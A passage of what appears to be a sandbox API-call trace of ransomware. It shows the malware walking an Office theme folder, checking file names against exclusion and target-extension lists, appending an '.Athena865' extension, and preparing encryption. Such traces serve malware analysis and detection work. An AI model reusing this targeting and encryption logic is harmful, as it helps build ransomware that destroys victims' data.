Tie.xml", lpString2="ntuser.dat") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="perflogs") returned -1 [0136.160] lstrcmpiW (lpString1="Black Tie.xml", lpString2="MSBuild") returned -1 [0136.161] lstrlenW (lpString="Black Tie.xml") returned 13 [0136.161] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Black Tie.xml" | out: lpString1="Black Tie.xml") returned="Black Tie.xml" [0136.162] lstrlenW (lpString="Black Tie.xml") returned 13 [0136.162] lstrlenW (lpString="Athena865") returned 9 [0136.163] lstrcmpiW (lpString1="k Tie.xml", lpString2="Athena865") returned 1 [0136.163] lstrlenW (lpString=".dll") returned 4 [0136.163] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".dll") returned 1 [0136.163] lstrlenW (lpString=".lnk") returned 4 [0136.163] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".lnk") returned 1 [0136.163] lstrlenW (lpString=".ini") returned 4 [0136.163] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".ini") returned 1 [0136.163] lstrlenW (lpString=".sys") returned 4 [0136.163] lstrcmpiW (lpString1="Black Tie.xml", lpString2=".sys") returned 1 [0136.163] lstrlenW (lpString="Black Tie.xml") returned 13 [0136.163] lstrlenW (lpString="bak") returned 3 [0136.163] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.164] lstrlenW (lpString="ba_") returned 3 [0136.164] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.164] lstrlenW (lpString="dbb") returned 3 [0136.164] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.164] lstrlenW (lpString="vmdk") returned 4 [0136.164] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.164] lstrlenW (lpString="rar") returned 3 [0136.164] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.164] lstrlenW (lpString="zip") returned 3 [0136.164] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.164] lstrlenW (lpString="tgz") returned 3 [0136.164] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.164] lstrlenW (lpString="vbox") returned 4 [0136.164] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.164] lstrlenW (lpString="vdi") returned 3 [0136.164] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.164] lstrlenW (lpString="vhd") returned 3 [0136.164] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.164] lstrlenW (lpString="vhdx") returned 4 [0136.164] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.164] lstrlenW (lpString="avhd") returned 4 [0136.164] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.164] lstrlenW (lpString="db") returned 2 [0136.164] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.164] lstrlenW (lpString="db2") returned 3 [0136.164] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.165] lstrlenW (lpString="db3") returned 3 [0136.165] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.165] lstrlenW (lpString="dbf") returned 3 [0136.165] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.165] lstrlenW (lpString="mdf") returned 3 [0136.165] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.165] lstrlenW (lpString="mdb") returned 3 [0136.165] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.165] lstrlenW (lpString="sql") returned 3 [0136.165] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.165] lstrlenW (lpString="sqlite") returned 6 [0136.165] lstrcmpiW (lpString1="ie.xml", lpString2="sqlite") returned -1 [0136.165] lstrlenW (lpString="sqlite3") returned 7 [0136.165] lstrcmpiW (lpString1="Tie.xml", lpString2="sqlite3") returned 1 [0136.165] lstrlenW (lpString="sqlitedb") returned 8 [0136.165] lstrcmpiW (lpString1=" Tie.xml", lpString2="sqlitedb") returned -1 [0136.165] lstrlenW (lpString="xml") returned 3 [0136.165] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.165] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.Athena865") returned 89 [0136.165] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.athena865"), dwFlags=0x1) returned 1 [0136.168] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Black Tie.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\black tie.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.168] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=927) returned 1 [0136.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.168] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.168] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.169] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.169] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.170] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x17c [0136.171] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000 [0136.172] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.173] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.173] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x540dc0 | out: hHeap=0x4f0000) returned 1 [0136.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x552958 [0136.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0136.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x552958 | out: hHeap=0x4f0000) returned 1 [0136.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0136.173] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50d3a8 [0136.173] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0136.174] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xedcdc100, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x51c9cf70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xedcdc100, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0x3c0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Civic.xml", cAlternateFileName="")) returned 1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2=".") returned 1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="..") returned 1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="windows") returned -1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="bootmgr") returned 1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="temp") returned -1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="pagefile.sys") returned -1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="boot") returned 1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="ids.txt") returned -1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="ntuser.dat") returned -1 [0136.174] lstrcmpiW (lpString1="Civic.xml", lpString2="perflogs") returned -1 [0136.175] lstrcmpiW (lpString1="Civic.xml", lpString2="MSBuild") returned -1 [0136.175] lstrlenW (lpString="Civic.xml") returned 9 [0136.175] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Civic.xml" | out: lpString1="Civic.xml") returned="Civic.xml" [0136.175] lstrlenW (lpString="Civic.xml") returned 9 [0136.175] lstrlenW (lpString="Athena865") returned 9 [0136.175] lstrlenW (lpString=".dll") returned 4 [0136.175] lstrcmpiW (lpString1="Civic.xml", lpString2=".dll") returned 1 [0136.175] lstrlenW (lpString=".lnk") returned 4 [0136.175] lstrcmpiW (lpString1="Civic.xml", lpString2=".lnk") returned 1 [0136.175] lstrlenW (lpString=".ini") returned 4 [0136.175] lstrcmpiW (lpString1="Civic.xml", lpString2=".ini") returned 1 [0136.175] lstrlenW (lpString=".sys") returned 4 [0136.175] lstrcmpiW (lpString1="Civic.xml", lpString2=".sys") returned 1 [0136.175] lstrlenW (lpString="Civic.xml") returned 9 [0136.175] lstrlenW (lpString="bak") returned 3 [0136.175] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.175] lstrlenW (lpString="ba_") returned 3 [0136.175] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.175] lstrlenW (lpString="dbb") returned 3 [0136.175] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.175] lstrlenW (lpString="vmdk") returned 4 [0136.175] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.175] lstrlenW (lpString="rar") returned 3 [0136.175] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.175] lstrlenW (lpString="zip") returned 3 [0136.175] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.176] lstrlenW (lpString="tgz") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.176] lstrlenW (lpString="vbox") returned 4 [0136.176] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.176] lstrlenW (lpString="vdi") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.176] lstrlenW (lpString="vhd") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.176] lstrlenW (lpString="vhdx") returned 4 [0136.176] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.176] lstrlenW (lpString="avhd") returned 4 [0136.176] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.176] lstrlenW (lpString="db") returned 2 [0136.176] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.176] lstrlenW (lpString="db2") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.176] lstrlenW (lpString="db3") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.176] lstrlenW (lpString="dbf") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.176] lstrlenW (lpString="mdf") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.176] lstrlenW (lpString="mdb") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.176] lstrlenW (lpString="sql") returned 3 [0136.176] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.177] lstrlenW (lpString="sqlite") returned 6 [0136.177] lstrcmpiW (lpString1="ic.xml", lpString2="sqlite") returned -1 [0136.177] lstrlenW (lpString="sqlite3") returned 7 [0136.177] lstrcmpiW (lpString1="vic.xml", lpString2="sqlite3") returned 1 [0136.177] lstrlenW (lpString="sqlitedb") returned 8 [0136.177] lstrcmpiW (lpString1="ivic.xml", lpString2="sqlitedb") returned -1 [0136.177] lstrlenW (lpString="xml") returned 3 [0136.177] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.177] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.Athena865") returned 85 [0136.177] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.athena865"), dwFlags=0x1) returned 1 [0136.179] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Civic.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\civic.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.180] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=960) returned 1 [0136.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.180] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.180] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.181] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.181] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.181] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6c0, lpName=0x0) returned 0x17c [0136.183] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6c0) returned 0x100000 [0136.184] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.185] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.185] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.185] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.186] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x342eb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x342eb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x39e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Clarity.xml", cAlternateFileName="")) returned 1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2=".") returned 1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="..") returned 1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="windows") returned -1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="bootmgr") returned 1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="temp") returned -1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="pagefile.sys") returned -1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="boot") returned 1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="ids.txt") returned -1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="ntuser.dat") returned -1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="perflogs") returned -1 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2="MSBuild") returned -1 [0136.186] lstrlenW (lpString="Clarity.xml") returned 11 [0136.186] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Clarity.xml" | out: lpString1="Clarity.xml") returned="Clarity.xml" [0136.186] lstrlenW (lpString="Clarity.xml") returned 11 [0136.186] lstrlenW (lpString="Athena865") returned 9 [0136.186] lstrcmpiW (lpString1="arity.xml", lpString2="Athena865") returned -1 [0136.186] lstrlenW (lpString=".dll") returned 4 [0136.186] lstrcmpiW (lpString1="Clarity.xml", lpString2=".dll") returned 1 [0136.186] lstrlenW (lpString=".lnk") returned 4 [0136.187] lstrcmpiW (lpString1="Clarity.xml", lpString2=".lnk") returned 1 [0136.187] lstrlenW (lpString=".ini") returned 4 [0136.187] lstrcmpiW (lpString1="Clarity.xml", lpString2=".ini") returned 1 [0136.187] lstrlenW (lpString=".sys") returned 4 [0136.187] lstrcmpiW (lpString1="Clarity.xml", lpString2=".sys") returned 1 [0136.187] lstrlenW (lpString="Clarity.xml") returned 11 [0136.187] lstrlenW (lpString="bak") returned 3 [0136.187] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.187] lstrlenW (lpString="ba_") returned 3 [0136.187] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.187] lstrlenW (lpString="dbb") returned 3 [0136.187] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.187] lstrlenW (lpString="vmdk") returned 4 [0136.187] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.187] lstrlenW (lpString="rar") returned 3 [0136.187] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.187] lstrlenW (lpString="zip") returned 3 [0136.187] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.187] lstrlenW (lpString="tgz") returned 3 [0136.187] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.187] lstrlenW (lpString="vbox") returned 4 [0136.187] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.187] lstrlenW (lpString="vdi") returned 3 [0136.187] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.187] lstrlenW (lpString="vhd") returned 3 [0136.187] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.187] lstrlenW (lpString="vhdx") returned 4 [0136.188] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.188] lstrlenW (lpString="avhd") returned 4 [0136.188] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.188] lstrlenW (lpString="db") returned 2 [0136.188] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.188] lstrlenW (lpString="db2") returned 3 [0136.188] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.188] lstrlenW (lpString="db3") returned 3 [0136.188] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.188] lstrlenW (lpString="dbf") returned 3 [0136.188] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.188] lstrlenW (lpString="mdf") returned 3 [0136.188] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.188] lstrlenW (lpString="mdb") returned 3 [0136.188] lstrcmpiW (lpString1="xml", lpString2="mdb") returned 1 [0136.188] lstrlenW (lpString="sql") returned 3 [0136.188] lstrcmpiW (lpString1="xml", lpString2="sql") returned 1 [0136.188] lstrlenW (lpString="sqlite") returned 6 [0136.188] lstrcmpiW (lpString1="ty.xml", lpString2="sqlite") returned 1 [0136.188] lstrlenW (lpString="sqlite3") returned 7 [0136.188] lstrcmpiW (lpString1="ity.xml", lpString2="sqlite3") returned -1 [0136.188] lstrlenW (lpString="sqlitedb") returned 8 [0136.188] lstrcmpiW (lpString1="rity.xml", lpString2="sqlitedb") returned -1 [0136.188] lstrlenW (lpString="xml") returned 3 [0136.188] lstrcmpiW (lpString1="xml", lpString2="xml") returned 0 [0136.188] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.Athena865") returned 87 [0136.189] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.athena865"), dwFlags=0x1) returned 1 [0136.190] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Colors\\Clarity.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme colors\\clarity.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0136.190] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=926) returned 1 [0136.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x29a0020 [0136.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540d48 [0136.190] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x54ecc0 [0136.190] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x54ed48) returned 1 [0136.191] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0136.191] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.192] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6a0, lpName=0x0) returned 0x17c [0136.193] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6a0) returned 0x100000 [0136.195] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x54ed48) returned 1 [0136.195] CryptGenRandom (in: hProv=0x54ed48, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0136.195] CryptReleaseContext (hProv=0x54ed48, dwFlags=0x0) returned 1 [0136.196] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x540dc0 [0136.196] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x11910700, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x603ce830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x11910700, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0x3c4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Composite.xml", cAlternateFileName="COMPOS~1.XML")) returned 1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2=".") returned 1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="..") returned 1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="windows") returned -1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="bootmgr") returned 1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="temp") returned -1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="pagefile.sys") returned -1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="boot") returned 1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="ids.txt") returned -1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="ntuser.dat") returned -1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="perflogs") returned -1 [0136.196] lstrcmpiW (lpString1="Composite.xml", lpString2="MSBuild") returned -1 [0136.197] lstrlenW (lpString="Composite.xml") returned 13 [0136.197] lstrcpyW (in: lpString1=0x241e8cc, lpString2="Composite.xml" | out: lpString1="Composite.xml") returned="Composite.xml" [0136.197] lstrlenW (lpString="Composite.xml") returned 13 [0136.197] lstrlenW (lpString="Athena865") returned 9 [0136.197] lstrcmpiW (lpString1="osite.xml", lpString2="Athena865") returned 1 [0136.197] lstrlenW (lpString=".dll") returned 4 [0136.197] lstrcmpiW (lpString1="Composite.xml", lpString2=".dll") returned 1 [0136.197] lstrlenW (lpString=".lnk") returned 4 [0136.197] lstrcmpiW (lpString1="Composite.xml", lpString2=".lnk") returned 1 [0136.197] lstrlenW (lpString=".ini") returned 4 [0136.197] lstrcmpiW (lpString1="Composite.xml", lpString2=".ini") returned 1 [0136.197] lstrlenW (lpString=".sys") returned 4 [0136.197] lstrcmpiW (lpString1="Composite.xml", lpString2=".sys") returned 1 [0136.197] lstrlenW (lpString="Composite.xml") returned 13 [0136.197] lstrlenW (lpString="bak") returned 3 [0136.197] lstrcmpiW (lpString1="xml", lpString2="bak") returned 1 [0136.197] lstrlenW (lpString="ba_") returned 3 [0136.197] lstrcmpiW (lpString1="xml", lpString2="ba_") returned 1 [0136.197] lstrlenW (lpString="dbb") returned 3 [0136.197] lstrcmpiW (lpString1="xml", lpString2="dbb") returned 1 [0136.197] lstrlenW (lpString="vmdk") returned 4 [0136.197] lstrcmpiW (lpString1=".xml", lpString2="vmdk") returned -1 [0136.197] lstrlenW (lpString="rar") returned 3 [0136.197] lstrcmpiW (lpString1="xml", lpString2="rar") returned 1 [0136.197] lstrlenW (lpString="zip") returned 3 [0136.197] lstrcmpiW (lpString1="xml", lpString2="zip") returned -1 [0136.198] lstrlenW (lpString="tgz") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="tgz") returned 1 [0136.198] lstrlenW (lpString="vbox") returned 4 [0136.198] lstrcmpiW (lpString1=".xml", lpString2="vbox") returned -1 [0136.198] lstrlenW (lpString="vdi") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="vdi") returned 1 [0136.198] lstrlenW (lpString="vhd") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="vhd") returned 1 [0136.198] lstrlenW (lpString="vhdx") returned 4 [0136.198] lstrcmpiW (lpString1=".xml", lpString2="vhdx") returned -1 [0136.198] lstrlenW (lpString="avhd") returned 4 [0136.198] lstrcmpiW (lpString1=".xml", lpString2="avhd") returned -1 [0136.198] lstrlenW (lpString="db") returned 2 [0136.198] lstrcmpiW (lpString1="ml", lpString2="db") returned 1 [0136.198] lstrlenW (lpString="db2") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="db2") returned 1 [0136.198] lstrlenW (lpString="db3") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="db3") returned 1 [0136.198] lstrlenW (lpString="dbf") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="dbf") returned 1 [0136.198] lstrlenW (lpString="mdf") returned 3 [0136.198] lstrcmpiW (lpString1="xml", lpString2="mdf") returned 1 [0136.198] lstrlenW 